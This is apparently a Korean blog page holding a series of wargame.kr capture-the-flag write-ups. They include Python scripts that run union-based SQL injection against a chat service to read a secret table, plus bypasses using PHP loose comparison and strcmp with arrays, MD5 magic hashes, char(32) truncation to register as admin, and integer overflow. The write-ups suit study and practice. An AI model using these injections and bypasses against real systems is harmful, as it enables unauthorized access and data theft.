728x90
반응형
728x90
반응형
728x90
반응형

pyc decompile

 

bughela.pyc

:D

 

 

 

 

 

servertime 이 표시되며, pyc 파일이 주어진다.

 

pyc는 python에서 import 한 py파일을 컴파일해서 만들어진다.

 

 

 

 

 

 

 

pyc 디컴파일은 간단하다.

 

sudo pip install uncompyle6
uncompyle6 bughela.pyc 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Nov  7 2019, 10:44:02) 
# [GCC 8.3.0]
# Embedded file name: bughela.py
# Compiled at: 2015-02-09 16:13:20
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
 
 
def GIVE_ME_FLAG(flag):
    if flag[:43!= 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'
 
 
def die():
    print 'NOPE...'
    exit()
 
 
if __name__ == '__main__':
    main()
 
cs

 

19행부터 24행의 과정을 거쳐서 flag값을 만들어낸다.

 

해당 코드만 뽑아서 flag를 가져오는 코드를 작성하였다.

 

 

 

주의 할 점은 서버의 시간과 로컬의 시간이 맞지 않다.

따라서 로컬의 시간을 서버의 시간으로 맞춰주어야 한다. (10행에서 보정)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time
from hashlib import sha512
 
url= 'http://wargame.kr:8080/pyc_decompile/?flag='
 
now = time.localtime(time.time())
seed = time.strftime('%m/%d/HJEJSH', time.localtime())
hs = sha512(seed).hexdigest()
start = now.tm_hour % 3 + 1
end = start * ((now.tm_min+8) % 30 + 10)
ok = hs[start:end]
print ok
 
 
import urllib
import urllib2
 
 
url += ok
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

 

 

 

 

 

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
728x90
반응형

web chatting

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.

 

 

 

로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해 

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772

 

이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.

 

 

이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.

 

그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.

 

 

 

 

 

 

 

 

 

 

일단, union을 사용해서 sqli를 시도했다.

ni=54772 union select 1,2,3,4,5 --

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

그 결과, 마지막행에 아래 내용이 출력되었다.

 

2 (5..*.) : 3

 

select 했던 2, 3, 5가 나온 것이다. 

 

 

 

 

 

 

 

 

이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.

ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

 

INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3

 

 

 

 

 

 

 

 

 

 

 

readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.

 

 

 

 

 

 

 

한번 확인해 보면,

마지막 줄에 플래그값이 출력된다.

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
728x90
반응형

EASY_CrackMe

 

Simple Reverse Engineering Challenge.


Find the Password!! xD
패스워드를 찾아보세요!! xD

CrackMe1st.exe (compiled on Windows7 Visual studio 2008)]

 

 

 

ida로 열어보자

 

wcsstr() 함수는 문자열을 검색하는 함수이다.

 

_my_b 와 birth가 존재하는지를 찾아내는 것이다.

 

_wtoi는 문자열에 있는 숫자를 찾아서 정수로 반환해준다.

 

 

따라서 패스워드는 1114_my_birth

 

 

http://wargame.kr:8080/prob/18/ps.php?p=1114_my_birth

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
728x90
반응형

php? c?

 

 

do you know "integer type" of 32bit application?

 

 

입력칸이 2개가 있다.

D1

D2

 

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2'])){
  $input1=(int)$_POST['d1'];
  $input2=(int)$_POST['d2'];
  if(!is_file("/tmp/p7")){exec("gcc -o /tmp/p7 ./p7.c");}
  $result=exec("/tmp/p7 ".$input1);
  if($result!=1 && $result==$input2){echo auth_code("php? c?");}else{echo "try again!";}
 }else{echo ":p";}
?>
<style>
 table {background-color:#000; color:#fff;}
 td {background-color:#444;}
</style>
<hr />
 <center>
  <form method='post'>
  <table>
  <tr><td>D1:</td><td><input type='text' id="firstf" style="width:75px;" maxlength="9" name='d1'></td></tr>
  <tr><td>D2:</td><td><input type='text' style="width:75px;" name='d2'></td></tr>
  <tr><td colspan="2" style="text-align:center;"><input type='submit' value='try'></td></tr>
  </table>
  </form>
 <div><a href='?view-source'>get source</a></div>
 </center>
 <script>
  document.getElementById("firstf").focus();
 </script>
cs

 

p7 에 인자값으로 input1을 줘서 실행 값이 1이 아니면서 input2와 값이 같으면 플래그를 얻을 수 있다.

 

p7.c를 확인해보자

http://wargame.kr:8080/php_c/p7.c

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
void nono();
int main(int argc,char **argv){
 int i;
 if(argc!=2){nono();}
 i=atoi(argv[1]);
 if(i<0){nono();}
 i=i+5;
 if(i>4){nono();}
 if(i<5){printf("%d",i);}
 return 0;
}
void nono(){
  printf("%d",1);
  exit(1);
}
cs

 

8행 : i가 음수이면 안됨

 

10행 : i+5 가 4보다 크면 안됨

11행 : i+5가 5보다 작으면 안됨

 

 

이 조건을 모두 만족하는 i는 없는 것 처럼 보이지만, intager overflow를 하면 모든 조건문을 통과할 수 있다.

 

int의 최댓값+1이 되면 0 또는 음수값으로 인식을 하기 때문이다.

https://m.blog.naver.com/wwwkasa/80180210172

 

정수 오버플로우(Integer Overflow)

# 정수 오버플로우(Integer Overflow) 1. 개요 정수형 변수의 오버플로우는 정수값이 증가하면서 허용된 ...

blog.naver.com

 

d1 : 2147483643

d2 : -2147483648

 

 

 

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
728x90
반응형

img recovery

Recovery the PNG image file!

but.. is this really "PNG" file?
(NO STEGANOGRAPHY. THIS IS FORENSIC CHALLENGE)

 

코드를 찾으라고 한다.

 

이미지라고는 pattern.png 밖에 없는 듯 하다.

 

해당 파일을 다운받아서 분석해보았다.

 

 

TweakPNG 로 열어보면

PNG파일의 확장포멧인 APNG파일임을 알 수 있다.

https://ko.wikipedia.org/wiki/APNG

 

APNG - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 애니메이션 포터블 네트워크 그래픽스애니메이션 PNG (일부 웹 브라우저에서는 정적인 이미지로 표시됨)파일 확장자.png .apng발표일2008년 8월 4일 (11년 전)(2008-08-04)포맷 종류애니메이션 래스터 이미지 포맷다음으로부터 확장PNG오픈 포맷?예 APNG(Animated Portable Network Graphics)는 PNG를 확장한 이미지 파일 포맷으로, Stuart Parmenter와 Vladimir

ko.wikipedia.org

 

 

 

 

 

도구를 이용해서 이미지를 분리해 내자

 

 

https://ezgif.com/split

 

Split animated GIF image in frames (free online tool)

This online tool is designed to convert an animated GIF (and WebM, APNG, MNG) image into individual frames for editing or viewing them separately.

ezgif.com

 

 

 

 

다운받은 이미지와 웹브라우저에 봤던 이미지와 다른데, 

 

생긴게 qr코드 처럼 생겼다.

 

포토샵으로 두 개를 겹치면 qr코드를 얻을 수 있고, 스캔하면 코드를 얻을 수 있다.

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
728x90
반응형

type confusion

Simple Compare Challenge.

hint? you can see the title of this challenge.

:D

 

 

와 간단 비교 챌린지!

 

힌트는 이 문제의 제목이라고 한다. type confusion 타입을 혼동

 

 

 

페이지 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true"flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }
 
 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_"true);
    $key = sha1($key);
     return $key;
 }
?>
 
<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>
cs

 

usleep(500000); == sleep(0.5);

 

 

$key값은 sha1( welcome to wargame.kr!_[마이크로초단위의 타임스탬프] ) 이다.

 

$key값을 맞출 수는 없다.

 

 

 

 

11행을 보면  == 느슨한 비교를 하고 있다.

 

true == "string" 는 true다.

 

php 느슨한 비교 라고 검색을 해보면 ture false 표가 나온다. 참고하자.

 

 

 

 

 

우리는 $json->key 값에 true를 보내면 된다.

첫 페이지 소스를 보면, check 버튼을 누르면, submit_check(this); 함수를 호출한다.

해당 함수는 http://wargame.kr:8080/type_confusion/util.js에 정의되어있다.

 

 

 

정의된 함수를 가져와서 key값에 true가 들어가도록 재정의 해주었다. 크롬 개발자도구 콘솔창을 이용하면 된다.

 

 

25행 수정

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
    if (lock) {
        alert("waiting..");
        return false;
    }
    lock = true;
    var key = f.key.value;
    if (key == "") {
        alert("please fill the input box.");
        lock = false;
        return false;
    }
 
    submit(key);
 
    return false;
}
 
function submit(key){
    $.ajax({
        type : "POST",
        async : false,
        url : "./index.php",
        data : {json:JSON.stringify({key: true})},
        dataType : 'json'
    }).done(function(result){
        if (result['code'== true) {
            document.write("Congratulations! flag is " + result['flag']);
        } else {
            alert("nope...");
        }
        lock = false;
    });
}
cs

 

그러면 입력란에 아무거나 입력하고 check를 누르면 flag를 얻을 수 있다.

 

 

 

 

 

 

 

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
728x90
반응형

tmitter

you need login with "admin"s id!

===========================

create table tmitter_user(
idx int auto_increment primary key,
id char(32),
ps char(32)
);

 

 

join.php의 소스를 보면, 하단에 힌트가 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
<head>
 <style>
  body {background-color:#eef;}
  table td {text-align:center; background-color:#dde;}
  .ex {text-align:left; color:#99a; font-size:9pt;}
 </style>
 <script>
  function chk(f){
   if(f.id.value.length<4){alert("chk id"); return false;}
   if(f.ps.value.length<7){alert("chk ps"); return false;}
   return true;
  }
 </script>
</head>
<body>
<center>
 <img src="./tmitter.png">
 <form onsubmit="return chk(this);" method="post">
  <table>
   <tr><td>ID</td><td><input type="text" name="id" maxlength="32"></td><td class="ex">at least 4char</td></tr>
   <tr><td>PS</td><td><input type="password" name="ps" maxlength="32"></td><td class="ex">at least 7char</td></tr>
   <tr><td colspan=2><input type="submit" value="join"></td></tr>
  </table>
 </form>
</body>
<!-- hint : you need join with admin -->
 
cs

 

admin으로 회원가입을 해야 한다.

 

그러나 id가 admin인 계정을 생성하려고 하면, admin이라는 계정이 존재한다고 나온다.

 

 

 

php 페이지 상에서 trim(id) 한 값이 db에 있는 id중에 있는지 확인 한 후, db에 들어가는 것 같다.

trim() : 문자열의 앞과 뒤의 공백을 제거

 

 

 

"admin"+""*(32-5)+"dummy"를 id에 입력해주면

 

"admin"+""*(32-5)+"dummy" != "admin" 이기 때문에 존재하지 않는 id가 되며,

 

id char(32) --> id에는 32글자밖에 못들어가므로, "admin"+""*(32-5)+"dummy" 중 32글자가 들어가고, 뒤에 dummy가 잘리게 된다. 뒤에 남은 공백은 trim으로 날라가서 id가 admin으로 가입이 완료된다.

 

 

 

가입 페이지의 id입력란 길이가 32글자로 제한되어 있는데, f12개발자 도구 이용해서 간단히 수정해주면 된다.

 

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
728x90
반응형

md5_compare

JUST COMPARE ONLY.

with the other value :D

 

 

 

빠르게 소스를 확인하자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }
 
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force
 
        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
 
        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1!= md5($v2)) {$chk = false;}
 
        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

간단하다 v1은 전부 알파벳으로 이루어져 있어야 하고, v2는 전부 숫자로 이루어져 있어야 한다.

 

그리고 v1의 md5해쉬 값과 v2의 md5 해쉬값이 일치해야 한다.

 

 

 

 

php의 느슨한 비교(==)를 하기 때문에 magic hash를 사용할 수 있다.

 

v | input | md5

v1 | QNKCDZO | 0e830400451993494058024219903391

v2 | 240610708 | 0e46209743190650901956298873685

 

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
728x90
반응형

DB is really GOOD

What kind of this Database?

you have to find correlation between user name and database.

 

 

 

 

user name과 db의 상관관계를 찾아내면 될 것 같다.

 

 

 

첫 화면에서 admin으로 로그인 되지 않는다. 페이지 소스를 보면 

function fschk(f){
    if(f.user_id.value=="admin"){
        alert("dont access with 'admin'");
        return false;
    }
}

admin으로 로그인을 막는 js 코드가 존재한다.

 

 

그러나 해당 코드를 삭제해도 can not access admin.. 라고 admin으로 로그인이 불가능하다.

 

 

 

 

 

다른 닉네임들로 로그인해서 몇 번 만져보면 user name 가 하나의 다른 게시판역할을 하는 것을 알 수 있다.

 

= 다른 사람이 입력을 안했을 것 같은 user name으로 들어가보면 아무것도 없다.

= guest로 들어가서 메모를 남겨놓으면 나중에 guest로 들어가도 남아있다.

 

 

 

그러면 admin인 게시판을 찾아야 하는데 딱히 단서가 보이지 않았다.

 

그래서 메인 화면에서 여러가지 user name을 시도해 보았다.

 

 

 

 

<>?,./을 입력했을 때 오류메세지를 얻을 수 있었고 입력한 값을 경로로 하는 것을 찾을 수 있었다.

 

입력값을 경로로 하기 때문에 오류나는 문자는 . 나 / 일것이고, 결국 / 가 오류가 나는 원인임을 찾을 수 있었다.

 

 

 

 

 

Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /var/www/html/db_is_really_good/sqlite3.php:7 Stack trace: #0 /var/www/html/db_is_really_good/sqlite3.php(7): SQLite3->open('./db/wkrm_/.db') #1 /var/www/html/db_is_really_good/memo.php(14): MyDB->__construct('./db/wkrm_/.db') #2 {main} thrown in /var/www/html/db_is_really_good/sqlite3.php on line 7

 

 

 

./db/wkrm_[입력값].db 을 가져오는 것을 알 수 있다.

 

[입력값] 에 admin을 넣은 경로로 이동하면 해당 db파일을 다운로드 받을 수 있다.

 

 

 

 

 

 

 

 

다운로드 받은 파일을 Hxd로 열면 주소를 하나 더 얻을 수 있다.

 

해당 주소로 이동하면 flag가 나온다.

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
728x90
반응형

strcmp

if you can bypass the strcmp function, you get the flag.

 

 

 

password를 입력받는 칸과 소스를 확인할 수 있는 링크가 있다.

 

일단 소스코드를 확인해 보자.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require("../lib.php"); // for auth_code function
 
    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());
 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password== 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }
 
?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

$password sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password는 랜덤 값의 sha1 해쉬값이다. 따라서 때려맞출 수는 없다.

 

 

 

 

대신 strcmp함수의 취약점을 이용하면 된다.

 

strcmp(String, Array()) 는 NULL을 반환한다.

 

php에서 NULL == 0 은 True가 된다.

 

 

 

 

 

 

따라서 password를 배열로 보내면 flag를 얻을 수 있게 된다.

 

크롬 개발자 도구를 이용해서 password를 password[]로 바꾼 뒤에 아무 값이나 입력해서 보내면, flag를 얻을 수 있다.

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22

+ Recent posts